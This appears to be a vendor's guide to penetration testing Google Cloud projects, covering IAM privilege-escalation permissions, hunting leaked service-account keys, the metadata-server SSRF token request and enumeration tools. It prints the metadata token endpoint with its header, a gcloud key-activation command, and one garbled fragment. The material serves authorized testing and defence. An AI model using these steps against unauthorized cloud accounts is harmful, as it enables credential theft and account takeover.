GCP penetration testing lives and dies on IAM. Google lets you test your own projects without prior approval as long as you follow the Google Cloud Acceptable Use Policy, so scoping is about what you target rather than a permission request. The defining feature of Google Cloud is its IAM model, where roles bind to identities at the project, folder, or organization level, and service accounts can impersonate one another. Get the binding graph wrong and a single leaked key escalates to project owner.
This guide covers Google's rules of engagement, the IAM and service-account-key attack paths, the metadata-server SSRF pivot, storage and OAuth scope risks, and the tooling that maps it. As always, written authorization from the project owner is assumed.
Google does not require you to notify or get approval to penetration test resources in your own GCP projects, but you must comply with the Google Cloud Platform Acceptable Use Policy and Terms of Service. You test the resources you own: Compute Engine instances, Cloud Functions, Cloud Storage buckets, GKE clusters, and your IAM configuration. You do not test Google's underlying infrastructure or other customers.
Prohibited activity follows the familiar pattern: no denial-of-service or any test that disrupts Google's services or other tenants, no testing of resources you do not own, and nothing that violates the AUP. Because GCP testing is heavily identity-focused, it has more in common with reviewing access models than with a network sweep, and it pairs naturally with our overview of what to expect from a cloud penetration test.
GCP IAM escalation comes from permissions that let an identity grant itself more access or act as a more privileged identity. Rhino Security Labs documented around two dozen escalation methods, and the patterns are consistent: iam.serviceAccounts.getAccessToken or iam.serviceAccounts.actAs let you impersonate a more privileged service account; iam.serviceAccountKeys.create lets you mint a new key for a privileged account; and setIamPolicy permissions on a project, bucket, or function let you bind yourself a stronger role.
Deploy-style permissions are equally dangerous. cloudfunctions.functions.create plus actAs, or compute.instances.create with the ability to attach a privileged service account, let you run code as that account. Enumerate effective permissions, then walk the binding graph at project, folder, and org levels. Do not trust role names; check the actual permissions a custom role grants.
roles/owner or setIamPolicy.actAs.Service account keys are long-lived JSON credential files, and unlike short-lived metadata tokens they do not expire on their own. When a key leaks into a public repo, a container image, a CI variable, or instance metadata, whoever finds it can authenticate as that service account and use every permission it holds until an administrator manually disables or deletes the key.
During a test, hunt keys everywhere: source control, build artifacts, environment variables, and the metadata of compromised instances. Once you have a key, run gcloud auth activate-service-account , key-file=key.json and enumerate what it can do. The defensive position is to avoid user-managed keys entirely in favor of workload identity and short-lived tokens, then alert on any key creation. Secrets hygiene here mirrors the leaked-credential problem across cloud, which we also cover in the Azure penetration testing guide.
The GCP metadata server returns OAuth access tokens for the instance's attached service account, making it a prime SSRF target. From a compromised instance or via SSRF, request http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token with the header Metadata-Flavor: Google. The response is an access token scoped to whatever OAuth scopes the instance was launched with.
That required Metadata-Flavor: Google header is the key defense. Legacy /v1beta1/ endpoints did not require it, but those are deprecated; the v1 endpoint rejects requests without the header, so SSRF primitives that cannot set custom headers fail. The other limiting factor is OAuth scopes: an instance launched with restricted scopes yields a token that cannot do much even if the service account has broad IAM roles. Check both the scopes and the underlying roles. The mechanics echo the metadata attacks in our AWS penetration testing guide.
Posture first, then exploitation. ScoutSuite and Prowler both support GCP and surface public buckets, over-permissive bindings, default service accounts with Editor, and disabled logging. Cartography ingests GCP assets into a graph for relationship queries across projects. The native gcloud CLI is your enumeration workhorse: gcloud projects get-iam-policy, gcloud iam service-accounts list, and recursive ancestry checks.
For escalation, use the Rhino Security GCP IAM Privilege Escalation scripts to test the documented methods against discovered identities, and GCPBucketBrute to enumerate and check Cloud Storage buckets for misconfigured access. Methodology: enumerate projects and IAM, map the binding graph, hunt service-account keys, pivot through metadata tokens, then check storage and OAuth scope exposure. Running this on a cadence rather than once a year is the case for continuous, agentic pentesting, and findings feed straight into a cloud security posture checklist.